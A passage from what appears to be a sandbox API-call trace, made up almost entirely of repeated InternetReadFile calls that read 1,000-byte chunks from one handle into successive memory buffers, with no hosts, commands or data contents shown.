dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4868*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e4c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e4c50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5038*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5420*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5808*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5bf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5bf0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e5fd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e5fd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.267] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e63c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e63c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.268] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e67a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e67a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.268] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e6b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e6b90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.268] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e6f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e6f78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.268] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7360*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.269] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7748*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7b30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e7f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e7f18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e8300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e8300*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e86e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e86e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.270] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e8ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e8ad0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e8eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e8eb8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e92a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e92a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e9688, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e9688*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e9a70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e9a70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25e9e58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25e9e58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ea240, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ea240*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ea628, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ea628*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eaa10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eaa10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eadf8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eadf8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.272] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eb1e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eb1e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eb5c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eb5c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eb9b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eb9b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ebd98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ebd98*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ec180, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ec180*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ec568, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ec568*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.273] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ec950, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ec950*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.274] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ecd38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ecd38*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.274] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ed120, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ed120*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.274] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ed508, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ed508*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.274] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ed8f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ed8f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.274] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25edcd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25edcd8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.275] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee0c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee0c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.275] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee4a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee4a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.275] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ee890, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ee890*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.275] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25eec78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25eec78*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.275] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef060, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef060*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.275] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef448, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef448*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.276] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ef830, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ef830*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.276] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25efc18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25efc18*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0000, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0000*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f03e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f03e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.310] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f07d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f07d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.311] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0bb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0bb8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.311] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f0fa0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f0fa0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.311] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1388, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1388*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.311] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1770, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1770*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.311] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1b58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1b58*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.311] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f1f40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f1f40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.312] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2328, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2328*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.312] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2710, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2710*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.312] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2af8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2af8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.312] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f2ee0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f2ee0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.313] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f32c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f32c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f36b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f36b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f3a98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f3a98*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f3e80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f3e80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4268, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4268*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.315] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4650, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4650*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.315] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4a38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4a38*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.315] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f4e20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f4e20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f5208, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f5208*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f55f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f55f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f59d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f59d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.316] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f5dc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f5dc0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.317] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f61a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f61a8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.317] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f6590, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f6590*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.317] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f6978, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f6978*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.317] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f6d60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f6d60*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f7148, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f7148*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f7530, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f7530*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f7918, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f7918*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f7d00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f7d00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f80e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f80e8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f84d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f84d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.318] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f88b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f88b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f8ca0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f8ca0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f9088, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f9088*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f9470, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f9470*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f9858, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f9858*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25f9c40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25f9c40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.319] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fa028, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fa028*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.320] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fa410, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fa410*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.320] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fa7f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fa7f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.320] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fabe0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fabe0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.320] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fafc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fafc8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.320] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fb3b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fb3b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.320] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fb798, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fb798*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.321] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fbb80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fbb80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.321] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fbf68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fbf68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.321] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fc350, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fc350*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.321] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fc738, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fc738*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.321] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fcb20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fcb20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.321] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fcf08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fcf08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.322] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fd2f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fd2f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.322] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fd6d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fd6d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.322] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fdac0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fdac0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.322] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fdea8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fdea8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.322] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fe290, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fe290*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.323] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fe678, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fe678*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.323] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fea60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fea60*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.323] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25fee48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25fee48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.323] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ff230, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ff230*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.324] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ff618, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ff618*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.324] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ffa00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ffa00*, 